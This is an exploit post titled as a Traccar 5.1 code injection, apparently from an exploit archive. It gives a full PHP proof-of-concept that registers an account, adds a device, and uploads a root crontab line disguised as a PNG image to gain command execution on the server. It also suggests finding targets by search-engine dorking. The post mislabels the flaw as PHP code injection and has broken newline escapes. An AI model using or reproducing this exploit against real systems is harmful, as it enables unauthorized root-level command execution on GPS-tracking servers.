Traccar 5.1 Code Injection

=============================================================================================================================================
| # Title     : Traccar 5.1 php code injection Vulnerability                                                                                |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            |
| # Vendor    : https://www.traccar.org/old-versions/                                                                                       |
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] This PHP script assumes you're targeting a similar HTTP service that allows file uploads and interacting with REST APIs.

[+] save payload as poc.php

[+] usage : C:wwwtest>php poc.php

[+] Line 117 : login info : 'root', 'toor', '[email protected]', '/');

[+] payload :

<?php

class TraccarExploit {

    private $host;
    private $port;
    private $username;
    private $password;
    private $email;
    private $target_uri;

    public function __construct($host, $port = 8082, $username = '', $password = '', $email = '', $target_uri = '/') {
        $this->host = $host;
        $this->port = $port;
        $this->username = $username;
        $this->password = $password;
        $this->email = $email;
        $this->target_uri = $target_uri;
    }

    public function send_request($method, $uri, $data = null, $ctype = 'application/json') {
        $url = "http://{$this->host}:{$this->port}{$uri}";

        $headers = [
            "Content-Type: {$ctype}",
        ];

        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

        if ($data) {
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        }

        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

        $response = curl_exec($ch);
        curl_close($ch);

        return json_decode($response, true);
    }

    public function register_user() {
        echo "Registering new user...n";

        $body = json_encode([
            'name' => $this->username,
            'email' => $this->email,
            'password' => $this->password,
            'totpKey' => null
        ]);

        $res = $this->send_request('POST', $this->target_uri . 'api/users', $body);

        if (!$res || $res['code'] !== 200) {
            die("Failed to register user. Response: " . print_r($res, true));
        }

        echo "User registered successfully.n";
    }

    public function authenticate() {
        echo "Authenticating...n";

        $data = http_build_query([
            'email' => $this->email,
            'password' => $this->password
        ]);

        $res = $this->send_request('POST', $this->target_uri . 'api/session', $data, 'application/x-www-form-urlencoded');

        if (!$res || $res['code'] !== 200) {
            die("Failed to authenticate. Response: " . print_r($res, true));
        }

        echo "Authenticated successfully.n";
    }

    public function upload_cron_file($cmd) {
        echo "Adding new device...n";

        $body = json_encode([
            'name' => bin2hex(random_bytes(8)),
            'uniqueId' => bin2hex(random_bytes(8))
        ]);

        $res = $this->send_request('POST', $this->target_uri . 'api/devices', $body);

        if (!$res || $res['code'] !== 200) {
            die("Failed to add device. Response: " . print_r($res, true));
        }

        $device_id = $res['id'];
        $cron_job = "* * * * * root /bin/bash -c '{$cmd}'n";
        $cron_filename = bin2hex(random_bytes(6));

        echo "Uploading crontab file...n";

        $file_data = [
            'file' => curl_file_create("data://text/plain;base64," . base64_encode($cron_job), 'image/png', "{$cron_filename}.png")
        ];

        $this->send_request('POST', $this->target_uri . "api/devices/{$device_id}/image", $file_data, 'multipart/form-data');

        echo "Cronjob file uploaded successfully. Waiting for execution...n";
    }

    public function exploit($cmd) {
        $this->register_user();
        $this->authenticate();
        $this->upload_cron_file($cmd);
    }
}

// Usage example:
$exploit = new TraccarExploit('127.0.0.1', 8082, 'root', 'toor', '[email protected]', '/');
$exploit->exploit('id'); // Replace 'id' with your desired command to execute

?>



Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================